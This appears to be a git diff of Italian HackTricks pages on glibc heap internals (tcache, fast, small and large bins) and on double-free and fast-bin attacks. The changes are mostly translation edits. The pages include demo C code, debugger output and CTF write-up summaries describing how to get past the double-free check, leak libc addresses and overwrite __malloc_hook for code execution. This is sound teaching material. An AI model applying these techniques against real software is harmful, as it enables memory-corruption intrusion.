Pertanto, una tcache è simile a un bin veloce per thread nel senso che è una **lista concatenata singola** che non unisce i chunk. Ogni thread ha **64 tcache bins collegati singolarmente**. Ogni bin può avere un massimo di [7 chunk della stessa dimensione](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) che vanno da [24 a 1032B nei sistemi a 64 bit e da 12 a 516B nei sistemi a 32 bit](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). Pertanto, un tcache è simile a un bin veloce per thread nel senso che è una **lista concatenata singola** che non unisce i chunk. Ogni thread ha **64 tcache bins collegati singolarmente**. Ogni bin può avere un massimo di [7 chunk della stessa dimensione](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) che vanno da [24 a 1032B su sistemi a 64 bit e da 12 a 516B su sistemi a 32 bit](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
Quando un thread libera un chunk, se non è troppo grande per essere allocato nella tcache e il rispettivo bin tcache **non è pieno** (già 7 chunk), **verrà allocato lì**. Se non può andare nella tcache, dovrà aspettare che il lock dell'heap sia in grado di eseguire l'operazione di liberazione globalmente. Quando un thread libera un chunk, se non è troppo grande da essere allocato nel tcache e il rispettivo bin tcache **non è pieno** (già 7 chunk), **verrà allocato lì**. Se non può andare nel tcache, dovrà aspettare che il lock dell'heap sia in grado di eseguire l'operazione di liberazione globalmente.
Quando un **chunk viene allocato**, se c'è un chunk libero della dimensione necessaria nella **tcache lo utilizzerà**, altrimenti dovrà aspettare che il lock dell'heap sia in grado di trovarne uno nei bin globali o crearne uno nuovo.\ Quando un **chunk viene allocato**, se c'è un chunk libero della dimensione necessaria nel **Tcache lo utilizzerà**, altrimenti dovrà aspettare che il lock dell'heap sia in grado di trovarne uno nei bin globali o crearne uno nuovo.\
C'è anche un'ottimizzazione, in questo caso, avendo il lock dell'heap, il thread **riempirà la sua tcache con chunk dell'heap (7) della dimensione richiesta**, quindi nel caso ne abbia bisogno di più, li troverà nella tcache. C'è anche un'ottimizzazione, in questo caso, avendo il lock dell'heap, il thread **riempirà il suo Tcache con chunk dell'heap (7) della dimensione richiesta**, quindi nel caso ne abbia bisogno di più, li troverà nel Tcache.
<details> <details>
@ -48,7 +49,7 @@ free(chunk);
return 0; return 0;
} }
``` ```
Compilalo e debuggalo con un breakpoint nell'opcode ret dalla funzione main. Poi con gef puoi vedere il tcache bin in uso: Compilalo e debuggalo con un breakpoint nell'opcode ret dalla funzione main. Poi con gef puoi vedere il bin tcache in uso:
```bash ```bash
gef➤ heap bins gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -56,7 +57,7 @@ Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20,
``` ```
#### Strutture e Funzioni Tcache #### Strutture e Funzioni Tcache
Nel codice seguente è possibile vedere i **max bins** e i **chunks per indice**, la struttura **`tcache_entry`** creata per evitare doppie liberazioni e **`tcache_perthread_struct`**, una struttura che ogni thread utilizza per memorizzare gli indirizzi di ogni indice del bin. Nel codice seguente è possibile vedere i **max bins** e i **chunks per indice**, la struct **`tcache_entry`** creata per evitare doppie liberazioni e **`tcache_perthread_struct`**, una struct che ogni thread utilizza per memorizzare gli indirizzi di ciascun indice del bin.
<details> <details>
@ -116,7 +117,7 @@ La funzione `__tcache_init` è la funzione che crea e alloca lo spazio per l'ogg
<details> <details>
<summary>codice di inizializzazione della tcache</summary> <summary>codice di tcache_init</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
@ -163,19 +164,19 @@ Il tcache ha diversi blocchi a seconda della dimensione e i puntatori iniziali a
### Fast bins ### Fast bins
I fast bins sono progettati per **accelerare l'allocazione di memoria per piccoli chunk** mantenendo i chunk liberati di recente in una struttura di accesso rapido. Questi blocchi utilizzano un approccio Last-In, First-Out (LIFO), il che significa che il **chunk liberato più di recente è il primo** ad essere riutilizzato quando c'è una nuova richiesta di allocazione. Questo comportamento è vantaggioso per la velocità, poiché è più veloce inserire ed eliminare dalla cima di uno stack (LIFO) rispetto a una coda (FIFO). I fast bins sono progettati per **accelerare l'allocazione di memoria per piccoli chunk** mantenendo i chunk liberati di recente in una struttura di accesso rapido. Questi blocchi utilizzano un approccio Last-In, First-Out (LIFO), il che significa che il **chunk liberato più di recente è il primo** ad essere riutilizzato quando c'è una nuova richiesta di allocazione. Questo comportamento è vantaggioso per la velocità, poiché è più veloce inserire e rimuovere dalla cima di uno stack (LIFO) rispetto a una coda (FIFO).
Inoltre, **i fast bins utilizzano liste collegate singolarmente**, non doppie, il che migliora ulteriormente la velocità. Poiché i chunk nei fast bins non vengono uniti con i vicini, non c'è bisogno di una struttura complessa che consenta la rimozione dal mezzo. Una lista collegata singolarmente è più semplice e veloce per queste operazioni. Inoltre, **i fast bins utilizzano liste collegate singolarmente**, non doppie, il che migliora ulteriormente la velocità. Poiché i chunk nei fast bins non vengono uniti con i vicini, non c'è bisogno di una struttura complessa che consenta la rimozione dal mezzo. Una lista collegata singolarmente è più semplice e veloce per queste operazioni.
Fondamentalmente, ciò che accade qui è che l'intestazione (il puntatore al primo chunk da controllare) punta sempre all'ultimo chunk liberato di quella dimensione. Quindi: Fondamentalmente, ciò che accade qui è che l'intestazione (il puntatore al primo chunk da controllare) punta sempre all'ultimo chunk liberato di quella dimensione. Quindi:
* Quando viene allocato un nuovo chunk di quella dimensione, l'intestazione punta a un chunk libero da utilizzare. Poiché questo chunk libero punta al successivo da utilizzare, questo indirizzo viene memorizzato nell'intestazione in modo che la prossima allocazione sappia dove ottenere un chunk disponibile * Quando viene allocato un nuovo chunk di quella dimensione, l'intestazione punta a un chunk libero da utilizzare. Poiché questo chunk libero punta al successivo da utilizzare, questo indirizzo viene memorizzato nell'intestazione in modo che la prossima allocazione sappia dove ottenere un chunk disponibile.
* Quando un chunk viene liberato, il chunk libero salverà l'indirizzo al chunk disponibile corrente e l'indirizzo a questo nuovo chunk liberato verrà inserito nell'intestazione * Quando un chunk viene liberato, il chunk libero salverà l'indirizzo al chunk disponibile corrente e l'indirizzo a questo nuovo chunk liberato verrà inserito nell'intestazione.
La dimensione massima di una lista collegata è `0x80` e sono organizzate in modo che un chunk di dimensione `0x20` sarà nell'indice `0`, un chunk di dimensione `0x30` sarebbe nell'indice `1`... La dimensione massima di una lista collegata è `0x80` e sono organizzate in modo che un chunk di dimensione `0x20` sarà nell'indice `0`, un chunk di dimensione `0x30` sarebbe nell'indice `1`...
{% hint style="danger" %} {% hint style="danger" %}
I chunk nei fast bins non vengono impostati come disponibili, quindi vengono mantenuti come chunk fast bin per un po' di tempo invece di poter essere uniti con altri chunk liberi circostanti. I chunk nei fast bins non vengono impostati come disponibili, quindi vengono mantenuti come chunk fast bin per un certo periodo invece di poter essere uniti con altri chunk liberi circostanti.
{% endhint %} {% endhint %}
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
@ -380,7 +381,7 @@ chunks[9] = malloc(0x110);
return 0; return 0;
} }
``` ```
Nota come allocare e liberare 9 chunk dello stesso size in modo che riempiano il tcache e l'ottavo sia memorizzato nell'unsorted bin perché è troppo grande per il fastbin e il nono non è liberato in modo che il nono e l'ottavo non vengano uniti con il top chunk. Successivamente allocare un chunk più grande di 0x110 che fa sì che il chunk nell'unsorted bin vada al small bin. Nota come allocare e liberare 9 chunk dello stesso size in modo che **riempiano il tcache** e l'ottavo sia memorizzato nell'unsorted bin perché è **troppo grande per il fastbin** e il nono non è liberato quindi il nono e l'ottavo **non vengono uniti con il top chunk**. Successivamente allocare un chunk più grande di 0x110 che fa sì che **il chunk nell'unsorted bin vada al small bin**.
Compilalo e debuggalo con un breakpoint nell'opcode `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il tcache bin è pieno e un chunk è nel small bin: Compilalo e debuggalo con un breakpoint nell'opcode `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il tcache bin è pieno e un chunk è nel small bin:
```bash ```bash
@ -406,20 +407,20 @@ Fastbins[idx=6, size=0x80] 0x00
### Bins grandi ### Bins grandi
A differenza dei blocchi piccoli, che gestiscono pezzi di dimensioni fisse, **ogni bin grande gestisce un intervallo di dimensioni di pezzi**. Questo è più flessibile, permettendo al sistema di gestire **varie dimensioni** senza la necessità di un bin separato per ogni dimensione. A differenza dei blocchi piccoli, che gestiscono pezzi di dimensioni fisse, **ogni bin grande gestisce un intervallo di dimensioni di pezzi**. Questo è più flessibile, permettendo al sistema di gestire **varie dimensioni** senza la necessità di avere un bin separato per ogni dimensione.
In un allocatore di memoria, i bin grandi iniziano dove finiscono i bin piccoli. Gli intervalli per i bin grandi crescono progressivamente, il che significa che il primo bin potrebbe coprire pezzi da 512 a 576 byte, mentre il successivo copre da 576 a 640 byte. Questo modello continua, con il bin più grande che contiene tutti i pezzi sopra 1MB. In un allocatore di memoria, i bin grandi iniziano dove finiscono i bin piccoli. Gli intervalli per i bin grandi crescono progressivamente, il che significa che il primo bin potrebbe coprire pezzi da 512 a 576 byte, mentre il successivo copre da 576 a 640 byte. Questo modello continua, con il bin più grande che contiene tutti i pezzi sopra 1MB.
I bin grandi sono più lenti da gestire rispetto ai bin piccoli perché devono **ordinare e cercare in una lista di dimensioni di pezzi variabili per trovare la migliore corrispondenza** per un'allocazione. Quando un pezzo viene inserito in un bin grande, deve essere ordinato e quando la memoria viene allocata, il sistema deve trovare il pezzo giusto. Questo lavoro aggiuntivo li rende **più lenti**, ma poiché le allocazioni grandi sono meno comuni di quelle piccole, è un compromesso accettabile. I bin grandi sono più lenti da gestire rispetto ai bin piccoli perché devono **ordinare e cercare attraverso un elenco di dimensioni di pezzi variabili per trovare la migliore corrispondenza** per un'allocazione. Quando un pezzo viene inserito in un bin grande, deve essere ordinato e quando la memoria viene allocata, il sistema deve trovare il pezzo giusto. Questo lavoro aggiuntivo li rende **più lenti**, ma poiché le allocazioni grandi sono meno comuni di quelle piccole, è un compromesso accettabile.
Ci sono: Ci sono:
- 32 bin di intervallo 64B (collidono con i bin piccoli) * 32 bin di intervallo 64B (collidono con i bin piccoli)
- 16 bin di intervallo 512B (collidono con i bin piccoli) * 16 bin di intervallo 512B (collidono con i bin piccoli)
- 8 bin di intervallo 4096B (in parte collidono con i bin piccoli) * 8 bin di intervallo 4096B (parte collidono con i bin piccoli)
- 4 bin di intervallo 32768B * 4 bin di intervallo 32768B
- 2 bin di intervallo 262144B * 2 bin di intervallo 262144B
- 1 bin per le dimensioni rimanenti * 1 bin per le dimensioni rimanenti
<details> <details>
@ -480,7 +481,7 @@ chunks[0] = malloc(0x2000);
return 0; return 0;
} }
``` ```
Due grandi allocazioni vengono eseguite, quindi una viene liberata (mettendola nel bin non ordinato) e viene effettuata un'allocazione più grande (spostando quella liberata dal bin non ordinato al bin grande). Due grandi allocazioni vengono eseguite, poi una viene liberata (mettendola nel bin non ordinato) e viene effettuata un'allocazione più grande (spostando quella liberata dal bin non ordinato al bin grande).
Compilalo e debuggalo con un breakpoint nell'opcode `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il bin tcache è pieno e un chunk è nel bin grande: Compilalo e debuggalo con un breakpoint nell'opcode `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il bin tcache è pieno e un chunk è nel bin grande:
```bash ```bash
@ -576,7 +577,7 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16
### Ultimo Resto ### Ultimo Resto
Quando viene utilizzato malloc e un chunk viene diviso (dalla lista non ordinata o dal top chunk per esempio), il chunk creato dal resto del chunk diviso è chiamato Ultimo Resto e il suo puntatore è memorizzato nella struttura `malloc_state`. Quando viene utilizzato malloc e un chunk viene diviso (dalla lista non ordinata o dal chunk superiore per esempio), il chunk creato dal resto del chunk diviso è chiamato Ultimo Resto e il suo puntatore è memorizzato nella struttura `malloc_state`.
## Flusso di Allocazione ## Flusso di Allocazione
@ -609,16 +610,17 @@ Controlla i controlli di sicurezza eseguiti dalle funzioni ampiamente utilizzate
* [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions) * [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/) * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Doppia Liberazione # Double Free
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
Se liberi un blocco di memoria più di una volta, può compromettere i dati dell'allocatore e aprire la porta agli attacchi. Ecco come avviene: quando liberi un blocco di memoria, esso ritorna in una lista di chunk liberi (ad es. il "fast bin"). Se liberi lo stesso blocco due volte di seguito, l'allocatore rileva ciò e genera un errore. Ma se **liberi un altro chunk nel mezzo, il controllo di doppia liberazione viene eluso**, causando corruzione. Se liberi un blocco di memoria più di una volta, puoi compromettere i dati dell'allocatore e aprire la porta agli attacchi. Ecco come avviene: quando liberi un blocco di memoria, esso ritorna in una lista di chunk liberi (ad esempio il "fast bin"). Se liberi lo stesso blocco due volte di seguito, l'allocatore rileva ciò e genera un errore. Ma se **liberi un altro chunk nel mezzo, il controllo di double-free viene eluso**, causando corruzione.
Ora, quando richiedi nuova memoria (usando `malloc`), l'allocatore potrebbe darti un **blocco che è stato liberato due volte**. Ciò può portare a due puntatori diversi che puntano alla stessa posizione di memoria. Se un attaccante controlla uno di quei puntatori, può modificare i contenuti di quella memoria, causando problemi di sicurezza o addirittura consentendo l'esecuzione di codice. Ora, quando richiedi nuova memoria (usando `malloc`), l'allocatore potrebbe darti un **blocco che è stato liberato due volte**. Ciò può portare a due puntatori diversi che puntano alla stessa posizione di memoria. Se un attaccante controlla uno di quei puntatori, può modificare il contenuto di quella memoria, causando problemi di sicurezza o addirittura consentendo l'esecuzione di codice.
Esempio: Esempio:
```c ```c
@ -123,7 +124,7 @@ h1: 0xaaab0f0c2380
* [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/) * [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
* Possiamo allocare solo chunk di dimensioni Fast-Bin tranne per la dimensione `0x70`, che impedisce la sovrascrittura usuale di `__malloc_hook`. * Possiamo allocare solo chunk di dimensioni Fast-Bin tranne per la dimensione `0x70`, che impedisce la sovrascrittura usuale di `__malloc_hook`.
* Invece, utilizziamo gli indirizzi PIE che iniziano con `0x56` come target per Fast Bin dup (1/2 possibilità). * Invece, utilizziamo indirizzi PIE che iniziano con `0x56` come target per Fast Bin dup (1/2 possibilità).
* Un luogo in cui gli indirizzi PIE sono memorizzati è in `main_arena`, che si trova all'interno di Glibc e vicino a `__malloc_hook`. * Un luogo in cui gli indirizzi PIE sono memorizzati è in `main_arena`, che si trova all'interno di Glibc e vicino a `__malloc_hook`.
* Miriamo a un offset specifico di `main_arena` per allocare un chunk lì e continuare ad allocare chunk fino a raggiungere `__malloc_hook` per ottenere l'esecuzione del codice. * Miriamo a un offset specifico di `main_arena` per allocare un chunk lì e continuare ad allocare chunk fino a raggiungere `__malloc_hook` per ottenere l'esecuzione del codice.
* [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/) * [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
@ -139,16 +140,17 @@ h1: 0xaaab0f0c2380
* [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free) * [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Attacco Fast Bin # Attacco Fast Bin
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -142,37 +143,38 @@ Se è possibile sovrascrivere il valore della variabile globale **`global_max_fa
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:** * **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
* È possibile allocare chunk, liberarli, leggerne i contenuti e riempirli (con una vulnerabilità di overflow). * È possibile allocare chunk, liberarli, leggerne i contenuti e riempirli (con una vulnerabilità di overflow).
* **Consolidare chunk per infoleak**: La tecnica consiste nell'abusare dell'overflow per creare un falso `prev_size` in modo che un chunk precedente venga inserito in uno più grande, quindi quando si alloca il chunk più grande contenente un altro chunk, è possibile stamparne i dati e ottenere un leak di un indirizzo a libc (`main_arena+88`). * **Consolidare chunk per infoleak**: La tecnica consiste nell'abusare dell'overflow per creare un falso `prev_size` in modo che un chunk precedente venga inserito in uno più grande, quindi quando si alloca il chunk più grande contenente un altro chunk, è possibile stamparne i dati e ottenere un leak di un indirizzo a libc (`main_arena+88`).
* **Sovrascrivere l'hook di malloc**: Per fare ciò, e abusando della situazione di sovrapposizione precedente, è stato possibile avere 2 chunk che puntavano alla stessa memoria. Di conseguenza, liberandoli entrambi (liberando un altro chunk in mezzo per evitare protezioni) è stato possibile avere lo stesso chunk nel fast bin 2 volte. Quindi, è stato possibile allocarlo di nuovo, sovrascrivere l'indirizzo al chunk successivo in modo che puntasse un po' prima di `__malloc_hook` (in modo che puntasse a un intero che malloc pensa sia una dimensione libera - un altro bypass), allocarlo di nuovo e quindi allocare un altro chunk che riceverà un indirizzo agli hook di malloc.\ * **Sovrascrivere l'hook di malloc**: Per fare ciò, e abusando della situazione di sovrapposizione precedente, è stato possibile avere 2 chunk che puntavano alla stessa memoria. Di conseguenza, liberandoli entrambi (liberando un altro chunk nel mezzo per evitare protezioni) è stato possibile avere lo stesso chunk nel fast bin 2 volte. Quindi, è stato possibile allocarlo di nuovo, sovrascrivere l'indirizzo al chunk successivo in modo che puntasse un po' prima di `__malloc_hook` (in modo che puntasse a un intero che malloc pensa sia una dimensione libera - un altro bypass), allocarlo di nuovo e quindi allocare un altro chunk che riceverà un indirizzo agli hook di malloc.\
Infine è stato scritto un **one gadget** lì dentro. Infine è stato scritto un **one gadget** lì dentro.
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:** * **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
* C'è un overflow di heap e un utilizzo dopo la liberazione e una doppia liberazione perché quando un chunk viene liberato è possibile riutilizzare e riliberare i puntatori * C'è un overflow di heap e un uso dopo la liberazione e una doppia liberazione perché quando un chunk viene liberato è possibile riutilizzare e riliberare i puntatori
* **Leak di info su Libc**: Basta liberare alcuni chunk e otterranno un puntatore a una parte della posizione dell'arena principale. Poiché è possibile riutilizzare i puntatori liberati, basta leggere questo indirizzo. * **Leak di info su Libc**: Basta liberare alcuni chunk e otterranno un puntatore a una parte della posizione dell'arena principale. Poiché è possibile riutilizzare i puntatori liberati, basta leggere questo indirizzo.
